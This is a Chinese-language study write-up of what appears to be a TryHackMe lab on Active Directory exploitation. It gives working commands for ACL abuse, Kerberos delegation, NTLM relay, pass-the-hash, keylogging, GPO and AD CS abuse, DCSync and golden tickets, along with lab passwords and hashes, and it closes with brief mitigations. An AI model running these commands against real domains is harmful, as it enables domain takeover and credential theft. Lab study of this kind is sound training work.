AD Exploitation学习
字数 1358 2025-08-22 18:37:14

Active Directory Exploitation 攻击技术详解

0x01 AD Exploitation 概述

在完成对目标AD网络的内部侦察(AD枚举操作)后,攻击者进入漏洞利用阶段。本阶段主要利用错误的AD配置执行横向移动和权限提升操作,包括以下技术:

  • AD Delegation (AD委派机制)
  • Forcing Authentication Relays (强制身份认证中继)
  • Group Policy Objects (组策略对象)
  • Targeting AD Users (针对AD用户)
  • Domain Trusts (域信任)
  • Silver and Golden Tickets (银票和金票)

0x02 权限委派攻击

权限委派机制

AD通过权限委派特性委派权限和特权,使企业组织能够高效运作。但错误配置可能导致严重安全问题。

关键ACE(访问控制条目)

ACE类型 利用方式
ForceChangePassword 强制更改用户密码
AddMembers 向目标组添加成员
GenericAll 完全控制对象
GenericWrite 更新对象参数
WriteOwner 更改对象所有者
WriteDACL 修改DACL
AllExtendedRights 执行扩展AD权限操作

实战案例

  1. 利用GenericWrite:将初始账户添加到IT Support组
Add-ADGroupMember "IT Support" -Members "phillip.wilkins"
Get-ADGroupMember -Identity "IT Support" | findstr "phillip.wilkins"
  1. 利用ForceChangePassword:重置Tier 2 Admins组成员密码
$Password = ConvertTo-SecureString "My.New.pass123" -AsPlainText -Force
Set-ADAccountPassword -Identity "t2_ross.bird" -Reset -NewPassword $Password

0x03 Kerberos委派攻击

委派类型

  1. 非约束性委派:不安全,存储用户TGT
  2. 约束性委派:限制可委派的服务
  3. 基于资源的约束性委派(RBCD):服务控制谁可委派给它

约束性委派利用

  1. 枚举可委派账户:
Import-Module C:\Tools\PowerView.ps1
Get-NetUser -TrustedToAuth
  1. 获取服务账户凭据:
Get-CimInstance -ClassName Win32_Service | Where-Object { $_.StartName -like 'svcIIS*' } | Select-Object *
  1. 使用Kekeo生成票据:
tgt::ask /user:svcIIS /domain:za.tryhackme.loc /password:Password1@
tgs::s4u /tgt:TGT_svcIIS@ZA.TRYHACKME.LOC_krbtgt~za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi /user:t1_trevor.jones /service:http/THMSERVER1.za.tryhackme.loc
  1. 使用Mimikatz导入票据:
kerberos::ptt TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_http~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi

0x04 强制身份认证中继(NTLM Relay)

攻击条件

  1. 有效的AD账户凭据
  2. 目标SMB服务网络连接
  3. 目标运行Print Spooler服务
  4. 目标不强制SMB签名

攻击步骤

  1. 设置NTLM中继:
python /usr/share/doc/python3-impacket/examples/ntlmrelayx.py -smb2support -t smb://"10.200.83.201" -debug
  1. 强制认证:
.\SpoolSample.exe THMSERVER2.za.tryhackme.loc "Attacker IP"
  1. 获取哈希后Pass-the-Hash:
evil-winrm -i <THMSERVER1-ip> -u ServerAdmin -H 3279a0c6dfe15dc3fb6e9c26dd9b066c

0x05 针对AD用户的攻击

凭据查找

  1. 查找.kdbx (KeePass)数据库文件
  2. 使用kpcli打开数据库:
kpcli
open PasswordDatabase.kdbx
show -f -a PasswordDatabase/General/svcServMan

键盘监控

  1. 使用Meterpreter键盘记录器:
keyscan_start
keyscan_dump
keyscan_stop

0x06 组策略对象(GPO)攻击

攻击步骤

  1. 使用runas注入服务账户凭据:
runas /netonly /user:za.tryhackme.loc\svcServMan cmd.exe
  1. 修改GPO添加IT Support组到本地管理员组

  2. 等待15分钟策略应用后RDP连接:

xfreerdp /d:za.tryhackme.loc /u:'phillip.wilkins' /p:'Developmental1971' /v:thmserver2.za.tryhackme.loc /cert:ignore +clipboard /smart-sizing

0x07 AD证书服务攻击

攻击步骤

  1. 查找易受攻击证书模板:
certutil -Template -v > templates.txt
  1. 请求个人证书并指定管理员UPN

  2. 导出含私钥的证书

  3. 使用Rubeus请求TGT:

.\Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:C:\Users\phillip.wilkins\Desktop\fyhypocert.pfx /password:fyhypo666 /outfile:administrator.kirbi /domain:za.tryhackme.loc /dc:10.200.83.101
  1. 使用Mimikatz导入票据:
kerberos::ptt administrator.kirbi

0x08 域信任关系攻击

黄金票据攻击

  1. 获取KRBTGT哈希:
lsadump::dcsync /user:za\krbtgt
  1. 获取SID信息:
Get-ADComputer -Identity "THMDC"
Get-ADGroup -Identity "Enterprise Admins" -Server thmrootdc.tryhackme.loc
  1. 生成黄金票据:
kerberos::golden /user:Administrator /domain:za.tryhackme.loc /sid:S-1-5-21-3885271727-2693558621-2658995185-1001 /service:krbtgt /rc4:16f9af38fca3ada405386b3b57366082 /sids:S-1-5-21-3330634377-1326264276-632209373-519 /ptt

0x09 缓解措施

  1. 确保AD配置符合分层模型
  2. 权限委派遵循最小特权原则
  3. 强制而非仅启用SMB签名
  4. 保护AD服务如AD CS
  5. 特别保护Tier 0基础设施和账户
Active Directory Exploitation 攻击技术详解 0x01 AD Exploitation 概述 在完成对目标AD网络的内部侦察(AD枚举操作)后,攻击者进入漏洞利用阶段。本阶段主要利用错误的AD配置执行横向移动和权限提升操作,包括以下技术: AD Delegation (AD委派机制) Forcing Authentication Relays (强制身份认证中继) Group Policy Objects (组策略对象) Targeting AD Users (针对AD用户) Domain Trusts (域信任) Silver and Golden Tickets (银票和金票) 0x02 权限委派攻击 权限委派机制 AD通过权限委派特性委派权限和特权,使企业组织能够高效运作。但错误配置可能导致严重安全问题。 关键ACE(访问控制条目) | ACE类型 | 利用方式 | |---------|---------| | ForceChangePassword | 强制更改用户密码 | | AddMembers | 向目标组添加成员 | | GenericAll | 完全控制对象 | | GenericWrite | 更新对象参数 | | WriteOwner | 更改对象所有者 | | WriteDACL | 修改DACL | | AllExtendedRights | 执行扩展AD权限操作 | 实战案例 利用GenericWrite :将初始账户添加到IT Support组 利用ForceChangePassword :重置Tier 2 Admins组成员密码 0x03 Kerberos委派攻击 委派类型 非约束性委派 :不安全,存储用户TGT 约束性委派 :限制可委派的服务 基于资源的约束性委派(RBCD) :服务控制谁可委派给它 约束性委派利用 枚举可委派账户: 获取服务账户凭据: 使用Kekeo生成票据: 使用Mimikatz导入票据: 0x04 强制身份认证中继(NTLM Relay) 攻击条件 有效的AD账户凭据 目标SMB服务网络连接 目标运行Print Spooler服务 目标不强制SMB签名 攻击步骤 设置NTLM中继: 强制认证: 获取哈希后Pass-the-Hash: 0x05 针对AD用户的攻击 凭据查找 查找.kdbx (KeePass)数据库文件 使用kpcli打开数据库: 键盘监控 使用Meterpreter键盘记录器: 0x06 组策略对象(GPO)攻击 攻击步骤 使用runas注入服务账户凭据: 修改GPO添加IT Support组到本地管理员组 等待15分钟策略应用后RDP连接: 0x07 AD证书服务攻击 攻击步骤 查找易受攻击证书模板: 请求个人证书并指定管理员UPN 导出含私钥的证书 使用Rubeus请求TGT: 使用Mimikatz导入票据: 0x08 域信任关系攻击 黄金票据攻击 获取KRBTGT哈希: 获取SID信息: 生成黄金票据: 0x09 缓解措施 确保AD配置符合分层模型 权限委派遵循最小特权原则 强制而非仅启用SMB签名 保护AD服务如AD CS 特别保护Tier 0基础设施和账户